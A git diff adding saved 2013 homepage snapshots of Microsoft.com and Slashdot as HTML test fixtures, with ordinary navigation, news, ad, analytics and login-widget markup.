+ <li><a bi:index="1" bi:linkid="MF2-GEN-131Z4ENUS22349" bi:cpid="workModF" href="http://www.microsoft.com/en-us/download/details.aspx?id=25175&WT.mc_id=MSCOM_EN_US_HP_MODWORK_131Z4ENUS22349">Microsoft Deployment Toolkit</a>
+ </li>
+ <li><a bi:index="2" bi:linkid="MF3-GEN-131Z4ENUS21978" bi:cpid="workModF" href="http://update.microsoft.com/microsoftupdate?WT.mc_id=MSCOM_EN_US_HP_MODWORK_131Z4ENUS21978">Microsoft Update</a>
+ </li>
+ <li><a bi:index="3" bi:linkid="MF4-GEN-131Z4ENUS23586" bi:cpid="workModF" href="http://pinpoint.microsoft.com/en-us/home?WT.mc_id=MSCOM_EN_US_HP_MODWORK_131Z4ENUS23586">Find IT experts and solutions</a>
+ </li>
+ </ul>
+</div>
+ </div><div class="grid-unit"><div bi:type="list" class="list-of-links list-of-links-med">
+ <h3 bi:titleflag="t1" bi:title="t1" class="heading">Support</h3>
+ <ul bi:parenttitle="t1">
+ <li><a bi:index="0" bi:linkid="MG1-GEN-131Z4ENUS22351" bi:cpid="workModG" href="http://technet.microsoft.com/en-us/ms772425?WT.mc_id=MSCOM_EN_US_HP_MODWORK_131Z4ENUS22351">For IT Pros</a>
+ </li>
+ <li><a bi:index="1" bi:linkid="MG2-GEN-131Z4ENUS22352" bi:cpid="workModG" href="http://msdn.microsoft.com/en-us/hh361695?WT.mc_id=MSCOM_EN_US_HP_MODWORK_131Z4ENUS22352">For developers</a>
+ </li>
+ <li><a bi:index="2" bi:linkid="MG3-GEN-131Z4ENUS28306" bi:cpid="workModG" href="http://smallbusiness.support.microsoft.com/?WT.mc_id=MSCOM_EN_US_HP_MODWORK_131Z4ENUS28306">For small businesses</a>
+ </li>
+ <li><a bi:index="3" bi:linkid="MG4-GEN-131Z4ENUS21977" bi:cpid="workModG" href="http://support.microsoft.com/?WT.mc_id=MSCOM_EN_US_HP_MODWORK_131Z4ENUS21977">Find more support</a>
+ </li>
+ </ul>
+</div>
+ </div>
+</div>
+</div>
+ </div>
+</div>
+ </div>
+</section><section class="row-blue row-padded">
+ <div class="grid-container">
+ <div class="grid-row row-4 "><div class="grid-unit col-3 col-flow-opposite"><div bi:type="slideshow" class="slideshow slideshow-news">
+ <ul class="slides">
+ <li style="margin-right: -100%; float: left; width: 100%; display: none;" id="slide-1" bi:index="0" selectbi="">
+<div bi:type="highlight">
+ <a href="http://www.microsoft.com/en-us/news/press/2013/jan13/01-24fy13Q2earningsPR.aspx" bi:linkid="MNC-GEN-000001" bi:cpid="hpNews">
+ <img bi:parenttitle="t1" src="Filer_for_microsoft/logo_Microsoft_hl.jpg" alt="Microsoft reports record second quarter revenue" bi:mimiclink="true" bi:type="img">
+ <h3 class="title" bi:mimiclink="true" bi:title="t1" bi:titleflag="t1" bi:type="title">Microsoft reports record second quarter revenue</h3>
+ <p bi:parenttitle="t1" bi:mimiclink="true" bi:type="desc"><time pubdate="" class="pubdate">Jan. 24, 2013 -</time> Strong business demand and key product launches drive US$21.5B in revenue.</p>
+ </a>
+</div>
+ </li><li id="slide-2" bi:index="1" selectbi="" style="margin-right: -100%; float: left; width: 100%;">
+<div bi:type="highlight">
+ <a href="http://blogs.technet.com/b/microsoft_blog/archive/2013/01/22/growing-the-surface-family-surface-windows-8-pro-availability-confirmed.aspx" bi:linkid="MNC-GEN-000002" bi:cpid="hpNews">
+ <img bi:parenttitle="t1" src="Filer_for_microsoft/prod_SurfacePro2_hl.jpg" alt="Surface Windows 8 Pro coming Feb. 9" bi:mimiclink="true" bi:type="img">
+ <h3 class="title" bi:mimiclink="true" bi:title="t1" bi:titleflag="t1" bi:type="title">Surface Windows 8 Pro coming Feb. 9</h3>
+ <p bi:parenttitle="t1" bi:mimiclink="true" bi:type="desc"><time pubdate="" class="pubdate">Jan. 22, 2013 -</time>
+ Newest model in growing Surface family will be available in the U.S.
+and Canada at all Microsoft retail stores, microsoftstore.com, and
+select retail outlets.</p>
+ </a>
+</div>
+ </li><li id="slide-3" bi:index="2" selectbi="" style="display: none; margin-right: -100%; float: left; width: 100%;">
+<div bi:type="highlight">
+ <a href="http://www.microsoft.com/en-us/news/Press/2013/Jan13/01-17SidebarPR.aspx" bi:linkid="MNC-GEN-000003" bi:cpid="hpNews">
+ <img bi:parenttitle="t1" src="Filer_for_microsoft/prod_bingSidebar_hl.jpg" alt="Bing brings more of Facebook to search" bi:mimiclink="true" bi:type="img">
+ <h3 class="title" bi:mimiclink="true" bi:title="t1" bi:titleflag="t1" bi:type="title">Bing brings more of Facebook to search</h3>
+ <p bi:parenttitle="t1" bi:mimiclink="true" bi:type="desc"><time pubdate="" class="pubdate">Jan. 17, 2013 -</time>
+ Starting today you will see an average of five times more Facebook
+content in the Bing sidebar, including status updates, shared links,
+comments and photos from your friends.</p>
+ </a>
+</div>
+ </li>
+ </ul>
+ <div class="navigation international" bi:track="false">
+
+ <div class="grid-container" data-title-text="Go To Slide {{idx}}"></div>
+ </div>
+ <div class="prev-next light-foreground" bi:track="false">
+
+ <button class="prev"><span class="icon-left" aria-hidden="true"></span><span class="screen-reader-text">Previous</span></button>
+ <button class="next"><span class="icon-right" aria-hidden="true"></span><span class="screen-reader-text">Next</span></button>
+ </div>
+</div>
+
+ </div><div class="grid-unit col-1"><div bi:type="list" class="list-of-links list-of-links-lg list-array">
+ <h2 bi:titleflag="t1" bi:title="t1" class="heading">Follow us</h2>
+ <ul bi:parenttitle="t1">
+ <li><a bi:index="0" bi:linkid="SOC-00-000000" bi:cpid="hpSocial" href="http://www.facebook.com/microsoft">Facebook</a>
+ </li>
+ <li><a bi:index="1" bi:linkid="SOC-00-000000" bi:cpid="hpSocial" href="http://www.twitter.com/microsoft">Twitter</a>
+ </li>
+ <li><a bi:index="2" bi:linkid="SOC-00-000000" bi:cpid="hpSocial" href="http://www.microsoft.com/news">News Center</a>
+ </li>
+ </ul>
+</div>
+ </div>
+</div>
+ </div>
+</section><section class="row-cool-gray-3 row-padded">
+ <div class="grid-container">
+ <div class="grid-row row-1 "><div class="grid-unit">
+<div id="ctl00_ctl17_subLayout1_ctl04_ctl00_mscom-search" data-id="#mscom-search" class="mscom-search global-navigation" bi:type="Search">
+ <div role="search" class="search-form">
+ <input name="form" value="smc" type="hidden">
+ <input name="setlang" value="en-us" type="hidden">
+ <input class="search-source" name="source" value="0" type="hidden">
+ <div class="input-wrapper">
+ <label for="ctl00_ctl17_subLayout1_ctl04_ctl00_q" class="screen-reader-text">Search Microsoft.com</label>
+ <input name="q" id="ctl00_ctl17_subLayout1_ctl04_ctl00_q" class="search-box" autocomplete="off" type="search">
+ </div>
+ <button type="submit" name="ctl00$ctl17$subLayout1$ctl04$ctl00$searchButton" value="" id="ctl00_ctl17_subLayout1_ctl04_ctl00_searchButton" class="search-submit"><img src="Filer_for_microsoft/search-button-blue.png" alt="Submit" height="16" width="16"></button>
+ </div>
+ <div class="search-results-box">
+ <div bi:track="false" class="search-results">
+ <ul>
+ </ul>
+ </div>
+ <div class="search-scope">
+ <ul>
+ <li><a class="checked">Search Microsoft.com</a></li>
+ <li><a>Search the Web</a></li>
+ </ul>
+ </div>
+ </div>
+ <script type="text/javascript">
+ jQuery(document).ready(function ($) {
+ var search = new Ms.Search(
+ 'ctl00_ctl17_subLayout1_ctl04_ctl00_mscom-search',
+ {"scope":[{"watermarkText":["Search Microsoft.com"],"searchUrlFormat":["http://search.microsoft.com/results.aspx?form=MSHOME&mkt={1}&setlang={1}&q={0}"],"bi":[{"parameter":[{"name":["linkid"],"value":["searchmscomclick"]},{"name":["cpid"],"value":["MSCOMSearch"]},{"name":["searchtype"],"value":["MSCOM"]}]}],"autoSuggest":[{"serviceUrlFormat":["http://search.microsoft.com/shared/templates/master/smcPage/AutoSuggestHandler.ashx?q={0}&site=smc&locale={1}" [...]
+ });
+ </script>
+</div>
+ </div>
+</div>
+ </div>
+</section><section class="row-grey row-padded-top">
+ <div class="grid-container">
+ <div class="grid-row row-4 "><div class="grid-unit"><div bi:type="list" class="list-of-links list-of-links-sm footer-products-list">
+ <h2 bi:titleflag="t1" bi:title="t1" class="heading">Other Microsoft sites</h2>
+ <ul bi:parenttitle="t1">
+ <li><a bi:index="0" bi:linkid="PTN-00-000000" bi:cpid="hpFatFooter" href="http://windows.microsoft.com/"><img src="Filer_for_microsoft/windows_symbol_clr_52x52.png" alt="">Windows</a>
+ </li>
+ <li><a bi:index="1" bi:linkid="PTN-00-000000" bi:cpid="hpFatFooter" href="http://office.microsoft.com/"><img src="Filer_for_microsoft/office_symbol_clr_52x52.png" alt="">Office</a>
+ </li>
+ <li><a bi:index="2" bi:linkid="PTN-00-132F1ENUS32267" bi:cpid="hpFatFooter" href="http://clk.atdmt.com/MRT/go/420109147/direct/01/"><img src="Filer_for_microsoft/fallpromo_bug_black.png" alt="">Surface</a>
+ </li>
+ <li><a bi:index="3" bi:linkid="PTN-00-000000" bi:cpid="hpFatFooter" href="http://www.windowsphone.com/"><img src="Filer_for_microsoft/windowsphone_symbol_clr_52x52.png" alt="">Windows Phone</a>
+ </li>
+ <li><a bi:index="4" bi:linkid="PTN-00-000000" bi:cpid="hpFatFooter" href="http://www.xbox.com/"><img src="Filer_for_microsoft/xbox_symbol_clr_52x52.png" alt="">Xbox</a>
+ </li>
+ <li><a bi:index="5" bi:linkid="PTN-00-000000" bi:cpid="hpFatFooter" href="http://www.skype.com/go/skype/?cm_mmc=MSFT%7CTRAF_B1-_-mscom-hero-us"><img src="Filer_for_microsoft/skype_symbol_clr_52x52.png" alt="">Skype</a>
+ </li>
+ <li><a bi:index="6" bi:linkid="PTN-00-000000" bi:cpid="hpFatFooter" href="http://www.bing.com/"><img src="Filer_for_microsoft/bing_symbol_clr_52x52.png" alt="">Bing</a>
+ </li>
+ <li><a bi:index="7" bi:linkid="PTN-00-000000" bi:cpid="hpFatFooter" href="http://www.microsoftstore.com/store/msstore/home?WT.mc_id=MSCOM_HP_footer"><img src="Filer_for_microsoft/store_symbol_clr_52x52.png" alt="">Microsoft Store</a>
+ </li>
+ </ul>
+</div>
+ </div><div class="grid-unit"><div bi:type="list" class="list-of-links list-of-links-sm">
+ <h3 bi:titleflag="t1" bi:title="t1" class="heading">Downloads</h3>
+ <ul bi:parenttitle="t1">
+ <li><a bi:index="0" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://www.microsoft.com/en-us/download/default.aspx">Download Center</a>
+ </li>
+ <li><a bi:index="1" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://windows.microsoft.com/en-US/windows/downloads">Windows downloads</a>
+ </li>
+ <li><a bi:index="2" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://office.microsoft.com/downloads">Office downloads</a>
+ </li>
+ </ul>
+</div><div bi:type="list" class="list-of-links list-of-links-sm">
+ <h3 bi:titleflag="t1" bi:title="t1" class="heading">Support</h3>
+ <ul bi:parenttitle="t1">
+ <li><a bi:index="0" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://support.microsoft.com/">Support home</a>
+ </li>
+ <li><a bi:index="1" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://support.microsoft.com/search">Knowledge base</a>
+ </li>
+ </ul>
+</div>
+ </div><div class="grid-unit"><div bi:type="list" class="list-of-links list-of-links-sm">
+ <h3 bi:titleflag="t1" bi:title="t1" class="heading">Security</h3>
+ <ul bi:parenttitle="t1">
+ <li><a bi:index="0" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://www.microsoft.com/security/default.aspx">Security home</a>
+ </li>
+ <li><a bi:index="1" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://windows.microsoft.com/en-US/windows/products/security-essentials">Microsoft Security Essentials</a>
+ </li>
+ </ul>
+</div><div bi:type="list" class="list-of-links list-of-links-sm">
+ <h3 bi:titleflag="t1" bi:title="t1" class="heading">About</h3>
+ <ul bi:parenttitle="t1">
+ <li><a bi:index="0" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://www.microsoft.com/about/en/us/default.aspx">Microsoft</a>
+ </li>
+ <li><a bi:index="1" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://www.microsoft.com/careers">Careers</a>
+ </li>
+ <li><a bi:index="2" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://www.microsoft.com/en-us/news/">Company News</a>
+ </li>
+ <li><a bi:index="3" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://www.microsoft.com/investor">Investor relations</a>
+ </li>
+ <li><a bi:index="4" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://www.microsoft.com/en/us/sitemap.aspx">Site map</a>
+ </li>
+ </ul>
+</div>
+ </div><div class="grid-unit"><div bi:type="list" class="list-of-links list-of-links-sm">
+ <h3 bi:titleflag="t1" bi:title="t1" class="heading">Popular resources</h3>
+ <ul bi:parenttitle="t1">
+ <li><a bi:index="0" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://windows.microsoft.com/en-US/windows/rt-welcome">Windows RT</a>
+ </li>
+ <li><a bi:index="1" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://windows.microsoft.com/en-US/windows/all-pcs">PC and Laptops</a>
+ </li>
+ <li><a bi:index="2" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://windows.microsoft.com/en-US/windows/tablets-computers">Tablet and Computers</a>
+ </li>
+ <li><a bi:index="3" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://www.windowsphone.com/en-us">Windows Phone smartphones</a>
+ </li>
+ <li><a bi:index="4" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://www.windowsphone.com/en-us/store">Windows Phone apps and games</a>
+ </li>
+ <li><a bi:index="5" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://www.microsoft.com/security/default.aspx">Microsoft computer security</a>
+ </li>
+ <li><a bi:index="6" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://www.microsoft.com/security/pc-security/malware-removal.aspx">Malware removal tool</a>
+ </li>
+ <li><a bi:index="7" bi:linkid="FFR-00-000000" bi:cpid="hpFatFooter" href="http://crm.dynamics.com/en-us/home">Microsoft Dynamics CRM Online</a>
+ </li>
+ </ul>
+</div>
+ </div>
+</div>
+ </div>
+</section><footer class="site-footer" role="contentinfo" bi:type="footer">
+ <div class="legal grid-container">
+ <div class="grid-row row-4">
+ <div class="grid-unit col-1" bi:type="locale">
+ <span class="icon-globe"></span><a href="http://www.microsoft.com/en-us/home/locale.aspx">United States - English</a>
+ </div>
+ <div class="grid-unit col-3 inline-list" bi:type="legal">
+ <div data-resolved="true" data-picture="" data-alt="Microsoft" class="footer-logo">
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/logos/hp/logo-type-1x.png"></div>
+ <div data-src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/logos/hp/logo-type-2x.png" data-media="(min-device-pixel-ratio: 2.0)"></div>
+ <noscript><img src="http://i.s-microsoft.com/global/ImageStore/PublishingImages/logos/hp/logo-type-1x.png" alt="Microsoft" /></noscript>
+ <img data-source-index="0" src="Filer_for_microsoft/logo-type-1x.png" alt="Microsoft"></div>
+ <script type="text/javascript">window.picturePolyfill.resolveLast();</script>
+ <ul>
+ <li><a bi:index="0" bi:linkid="FTR-00-000000" bi:cpid="hpFooter" href="http://go.microsoft.com/?linkid=2028325">Contact us</a>
+ </li>
+ <li><a bi:index="1" bi:linkid="FTR-00-000000" bi:cpid="hpFooter" href="http://go.microsoft.com/fwlink/?LinkId=248681">Privacy & Cookies</a>
+ </li>
+ <li><a bi:index="2" bi:linkid="FTR-00-000000" bi:cpid="hpFooter" href="http://go.microsoft.com/?linkid=4412892">Terms of use</a>
+ </li>
+ <li><a bi:index="3" bi:linkid="FTR-00-000000" bi:cpid="hpFooter" href="http://www.microsoft.com/library/toolbar/3.0/trademarks/en-us.mspx">Trademarks</a>
+ </li>
+ <li id="mscom-legal-copyright">
+ © 2013 Microsoft
+ </li>
+ </ul>
+ </div>
+ </div>
+ </div>
+</footer>
+ </form>
+ <script type="text/javascript" src="Filer_for_microsoft/script.jsx"></script>
+ <script type="text/javascript">var varSegmentation=1;var varClickTracking=0;var varCustomerTracking=1;var varAutoFirePV=0;</script>
+ <noscript><img alt="" width="1" height="1" src="http://c.microsoft.com/trans_pixel.aspx"/></noscript><script type="text/javascript" src="Filer_for_microsoft/script_003.jsx"></script><iframe id="_msnFrame" src="Filer_for_microsoft/c.gif" style="z-index:-1;height:1px;width:1px;display:none;visibility:hidden;"></iframe>
+
+
+
+<script src="Filer_for_microsoft/bimapping.js" type="text/javascript"></script>
+<script type="text/javascript">
+ if (typeof $ != "undefined" && typeof $.bi != "undefined") {
+ $.bi.baseData({ lang: 'en' });
+ $.bi.baseData({ loc: 'us' });
+ $.bi.baseData({ ctrl: '44A6' });
+ $.bi.ignoreTextClass('bi-hidetext');
+ $.bi.init(window.BiMapping);
+ if (typeof window.requestId != "undefined") {
+ $.bi.baseData({ requestId: window.requestId });
+ }
+
+ if (typeof $.bi.dataConsumers != "undefined" && typeof $.bi.dataConsumers.webtrends != "undefined" && typeof $.bi.dataConsumers.webtrends.WebTrends != "undefined") {
+ $.bi.dataConsumers.webtrends.WebTrends.dcsid = "dcso6p7z7100004j151amwxpo_5q2j";
+ $.bi.dataConsumers.webtrends.WebTrends.dcsGetId();
+ }
+
+ }
+ if (typeof QosRecord != "undefined") {
+ $(function () { QosRecord('domready'); });
+ }
+</script>
+<script type="text/javascript">window.requestId='35145355-576a-42a6-9d60-bede0e9b35d7';</script>
+
+
+<script src="Filer_for_microsoft/broker-config_s1.js"></script></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/slashdot.org.htm b/src/test/resources/s/slashdot.org.htm
new file mode 100644
index 0000000..ed0259f
--- /dev/null
+++ b/src/test/resources/s/slashdot.org.htm
@@ -0,0 +1,3222 @@
+<!DOCTYPE html>
+<html lang="en">
+<head>
+
+<script id="before-content" type="text/javascript">
+var pageload = {
+ pagemark: '342031620245139886',
+ before_content: (new Date).getTime()
+};
+function pageload_done( $, console, maybe ){
+ pageload.after_readycode = (new Date).getTime();
+ pageload.content_ready_time = pageload.content_ready - pageload.before_content;
+ pageload.script_ready_time = pageload.after_readycode - pageload.content_ready;
+ pageload.ready_time = pageload.after_readycode - pageload.before_content;
+ // Only report 1% of cases.
+ maybe || (Math.random()>0.01) || $.ajax({ data: {
+ op: 'page_profile',
+ pagemark: pageload.pagemark,
+ dom: pageload.content_ready_time,
+ js: pageload.script_ready_time
+ } });
+}
+</script>
+
+ <title>Slashdot: News for nerds, stuff that matters</title>
+ <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
+
+
+ <meta property="fb:admins" content="100000696822412">
+ <meta property="fb:page_id" content="267995220856">
+
+
+
+
+
+<!--[if IE 8]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie8-classic.css?release_20130122" ><![endif]-->
+<link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/classic.css?release_20130122" >
+<!--[if IE 7]><link rel="stylesheet" type="text/css" media="screen, projection" href="//a.fsdn.com/sd/ie7-classic.css?release_20130122" ><![endif]-->
+
+
+
+
+
+
+
+<!-- -->
+
+
+
+
+
+
+<script src="//a.fsdn.com/sd/all-minified.js?release_20130122" type="text/javascript"></script>
+
+
+<script type="text/javascript">
+(function(){
+var regexp=/\s*(?:\d+|many)\s+more\s*/i;
+
+
+ var auto_more_count = 1;
+
+ function auto_more(){
+ var $more_link = $('#more-experiment a');
+ $more_link.each(function(){
+ var $lastitem = $('#firehoselist>article.fhitem:visible:last');
+ if ( Bounds.intersect(window, $lastitem) ) {
+
+ setFirehoseAction();
+ $more_link.click();
+
+ !--auto_more_count && (auto_more=undefined);
+ // don't allow a call till the next paginate gets built and |more_possible|
+ $(document).unbind('scroll', call_auto_more);
+ }
+ });
+ };
+
+ function call_auto_more(){ auto_more && auto_more(); }
+
+
+$('#more-experiment a').
+ live('more-possible', function( event ){
+ var $more_link=$(this);
+ if ( regexp.test($more_link.text()) ) {
+
+ $(document).bind('scroll', call_auto_more);
+ } else {
+ $(document).unbind('scroll', call_auto_more);
+
+ }
+ });
+})();
+</script>
+<!--[if lt IE 9]><script src="//a.fsdn.com/sd/html5.js"></script><![endif]-->
+
+
+<script type="text/javascript">
+(function() {
+ if (typeof window.janrain !== 'object') window.janrain = {};
+ if (typeof window.janrain.settings !== 'object') window.janrain.settings = {};
+
+ /* _______________ can edit below this line _______________ */
+
+ janrain.settings.tokenUrl = 'https://slashdot.org/token_callback.pl';
+ janrain.settings.type = 'embed';
+ janrain.settings.appId = 'ggidemlconlmjciiohla';
+ janrain.settings.appUrl = 'https://login.slashdot.org';
+ janrain.settings.providers = ["google","twitter","facebook"];
+ janrain.settings.providersPerPage = '3';
+ janrain.settings.format = 'one column';
+ janrain.settings.actionText = 'Sign in using your account with';
+ janrain.settings.showAttribution = false;
+ janrain.settings.fontColor = '#666666';
+ janrain.settings.fontFamily = 'lucida grande, Helvetica, Verdana, sans-serif';
+ janrain.settings.backgroundColor = '#ffffff';
+ janrain.settings.width = '308';
+ janrain.settings.borderColor = '#C0C0C0';
+ janrain.settings.borderRadius = '5'; janrain.settings.buttonBorderColor = '#CCCCCC';
+ janrain.settings.buttonBorderRadius = '5';
+ janrain.settings.buttonBackgroundStyle = 'gradient';
+ janrain.settings.language = 'en';
+ janrain.settings.linkClass = 'janrainEngage';
+
+ /* _______________ can edit above this line _______________ */
+
+ function isReady() { janrain.ready = true; };
+ if (document.addEventListener) {
+ document.addEventListener("DOMContentLoaded", isReady, false);
+ } else {
+ window.attachEvent('onload', isReady);
+ }
+
+ var e = document.createElement('script');
+ e.type = 'text/javascript';
+ e.id = 'janrainAuthWidget';
+
+ if (document.location.protocol === 'https:') {
+ e.src = 'https://rpxnow.com/js/lib/login.slashdot.org/engage.js';
+ } else {
+ e.src = 'http://widget-cdn.rpxnow.com/js/lib/login.slashdot.org/engage.js';
+ }
+
+ var s = document.getElementsByTagName('script')[0];
+ s.parentNode.insertBefore(e, s);
+})();
+</script>
+<meta http-equiv="X-XRDS-Location" content="http://slashdot.org/slashdot.xrds"><link rel="top" title="News for nerds, stuff that matters" href="//slashdot.org/" >
+<link rel="search" title="Search Slashdot" href="//slashdot.org/search.pl">
+<link rel="alternate" title="Slashdot RSS" href="http://rss.slashdot.org/Slashdot/slashdot" type="application/rss+xml">
+<link rel="shortcut icon" href="/favicon.ico" type="image/x-icon">
+<!-- DoubleClick Random Number -->
+<script type="text/javascript">
+ dfp_ord=Math.random()*10000000000000000;
+ dfp_tile = 1;
+</script>
+<!-- End DoubleClick Random Number -->
+
+<script type="text/javascript">
+window.google_analytics_uacct = "UA-32013-5";
+
+var _gaq = _gaq || [];
+
+
+
+
+
+ _gaq.push(['_setAccount', 'UA-36136016-1']);
+ _gaq.push(['b._setAccount', 'UA-32013-5']);
+ _gaq.push(['_setDomainName', '.slashdot.org']);
+ _gaq.push(['b._setDomainName', '.slashdot.org']);
+
+
+ _gaq.push(['_addIgnoredRef', 'slashdot.org']);
+ _gaq.push(['b._addIgnoredRef', 'slashdot.org']);
+
+
+
+ _gaq.push(['_setCustomVar', 1, 'User Type', 'Anon', 3]);
+ _gaq.push(['b._setCustomVar', 1, 'User Type', 'Anon', 3]);
+
+ _gaq.push(['_setCustomVar', 2, 'Page','index2', 3]);
+ _gaq.push(['b._setCustomVar', 2, 'Page','index2', 3]);
+
+
+
+
+
+
+
+ _gaq.push(['_trackPageview']);
+ _gaq.push(['b._trackPageview']);
+ _gaq.push(['_trackPageLoadTime']);
+ _gaq.push(['b._trackPageLoadTime']);
+
+
+
+
+ (function() {
+ var ga = document.createElement('script'); ga.type = 'text/javascript'; ga.async = true;
+ ga.src = ('https:' == document.location.protocol ? 'https://ssl' : 'http://www') + '.google-analytics.com/ga.js';
+ var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s);
+ })();
+
+</script>
+
+</head>
+<body class="anon index2 ">
+
+
+ <div id="top_parent"></div>
+ <a name="topothepage"></a>
+
+<div id="topadspace">
+ <table id="topadtable"><tr><td>
+ <div class="ad1 advertisement"><!-- ad position 1 -->
+ <!-- DoubleClick Ad Tag -->
+<div id="fad1">
+
+
+
+ <script type="text/javascript">
+ //<![CDATA[
+
+ var hint = 'mainpage';
+
+ document.write('<script type="text/javascript" src="http://ad.doubleclick.net/adj/ostg.slashdot/pg_index_p1_leader;pg=index2;logged_in=0;tile='+dfp_tile+';sz=728x90;u=;ord='+dfp_ord+'?"><\/script>');
+ dfp_tile++;
+ //]]>
+ </script>
+
+
+</div>
+<!-- End DoubleClick Ad Tag --></div>
+ </td>
+ <td>
+
+ <div id="hubad">
+ <!-- begin ad tag (tile=1) -->
+ <script type="text/javascript">
+ //<![CDATA[
+ document.write('<script type="text/javascript" src="http://ad.doubleclick.net/adj/ostg.slashdot/sd_hub_icon;tile=' + dfp_tile + ';sz=200x90;ord=' + dfp_ord + '?"><\/script>');
+ dfp_tile++;
+ //]]>
+ </script>
+ <noscript><a href="http://ad.doubleclick.net/jump/ostg.slashdot/sd_hub_icon;tile=1;sz=200x90;ord=123456789?" target="_blank" ><img src="http://ad.doubleclick.net/ad/ostg.slashdot/sd_hub_icon;tile=1;sz=200x90;ord=123456789?" border="0" alt="" /></a></noscript>
+ <!-- end ad tag -->
+ </div>
+
+</td></tr></table>
+</div>
+
+
+ <header class="col_wrapper container clearfix h">
+ <hgroup>
+ <section class="grid_9">
+ <div id="logo" >
+ <a href="//slashdot.org"><span>Slashdot</span></a>
+ <div id="jump" class="hide">
+ <a href="#main-articles">Stories</a><br>
+ <a href="#blocks">Slash Boxes</a><br>
+ <a href="#comments">Comments</a>
+ </div>
+ </div>
+ <a class='data-title' href='/slash-stats/week' id='sg_hof_mvtest_title' onclick="showHof('week'); return false;"><span class='ui-icon medal ico-w'></span></a>
+
+
+
+ <form id="search" method="get" action="//slashdot.org/index2.pl">
+ <input type="text" name="fhfilter" value="" id="searchquery">
+ <span class="ui-icon search"></span>
+ <input type="submit" value="Search">
+
+ </form>
+
+
+ </section>
+ <nav role="top-navigation" class="grid_15">
+ <ul class="dropnav">
+
+ <li >
+ <a href="//slashdot.org/my/newuser" onclick="getModalPrefs('newUserModal', 'Create Account', 1); $('#modal_box').addClass('join'); return false;">Join</a>
+
+ </li>
+
+ <li >
+ <a href="//slashdot.org/my/login" onclick="show_login_box(); return false;">Login</a>
+
+ </li>
+
+ <li >
+ <a href="//slashdot.org/submission" onclick="show_submit_box('','submission'); $('#modal_box').addClass('submit'); return false;" title="Submit a Story to Slashdot">Submit</a>
+
+ </li>
+
+ <li >
+ <a href="//slashdot.org/my/newuser" >Newsletter</a>
+
+ </li>
+
+ <li >
+ <a href="//slashdot.org/job_board.pl" >Jobs</a>
+
+ </li>
+
+ <li >
+ <a href="http://library.geeknetmedia.com/" onclick="_blank" >Resources</a>
+
+ </li>
+
+ <li class="droparrowneeded">
+ <a href="//slashdot.org/topic" >Channels</a>
+
+ <ul>
+
+ <a href="//slashdot.org/topic/bi" >SlashBI</a>
+
+ <a href="//slashdot.org/topic/cloud" >SlashCloud</a>
+
+ <a href="//slashdot.org/topic/datacenter" >SlashDataCenter</a>
+
+ </ul>
+
+ </li>
+
+ <li >
+ <a href="//tv.slashdot.org" class="btn link slashtvico" ><span>SlashTV</span></a>
+
+ </li>
+
+</ul>
+
+
+<!-- dropnavstyle begin -->
+<style type="text/css">
+
+.dropnav{
+ border:none;
+ border:0px;
+ margin:0px;
+ padding:0px;
+ font: "Arial, sans-serif;
+ font-size:1em;
+ font-weight:bold;
+ list-style:none;
+ padding-top: 3px;
+ padding-bottom: 3px;
+ }
+.dropnav ul{
+ padding-top:10px;
+ background:none;
+ height:25px;
+ list-style:none;
+ margin:0;
+ padding:0;
+ }
+ .dropnav li{
+ float:right;
+ padding:0px;
+ }
+ .dropnav li a{
+ background:none bottom right no-repeat;
+ color:#ffffff;
+ display:block;
+ font-weight:normal;
+ line-height:25px;
+ margin:0px;
+ padding:0px 5px;
+ padding-bottom: 6px;
+ text-align:center;
+ text-decoration:none;
+ }
+ .dropnav li a:hover, .dropnav ul li:hover a{
+ /* background: #005555 bottom center no-repeat; */
+ color:#FFFFFF;
+ text-decoration:underline;
+ }
+ .dropnav li ul{
+ background:#004242;
+ display:none;
+ height:auto;
+ min-width:100px;
+ margin:0px;
+ padding:0px;
+ border:0px;
+ position:absolute;
+ z-index:200;
+ /*top:1em;
+ /*left:0;*/
+ }
+ .dropnav li:hover ul{
+ display:block;
+
+ }
+ .dropnav li li {
+ display:block;
+ float:none;
+ min-width:100px;
+ margin:0px;
+ padding:0px;
+ }
+ .dropnav li:hover li a{
+ background:none;
+
+ }
+ .dropnav li ul a{
+ display:block;
+ height:25px;
+ font-size:12px;
+ font-style:normal;
+ margin:0px;
+ padding:0px 10px 0px 15px;
+ text-align:left;
+ }
+ .dropnav li ul a:hover, .dropnav li ul li:hover a{
+ background:#005555 center left no-repeat;
+ border:0px;
+ color:#ffffff;
+ text-decoration:none;
+ }
+ .dropnav p{
+ clear:left;
+ }
+
+ .dropnav li.droparrowneeded>a:after {
+ content: "\25BE";
+ margin-left: 5px;
+ text-decoration: none;
+ }
+
+
+</style>
+<!-- dropnavstyle end -->
+
+ </nav>
+ </hgroup>
+ </header>
+
+
+
+
+ <section>
+
+ <div id='embbeded_login_modal' class="hide">
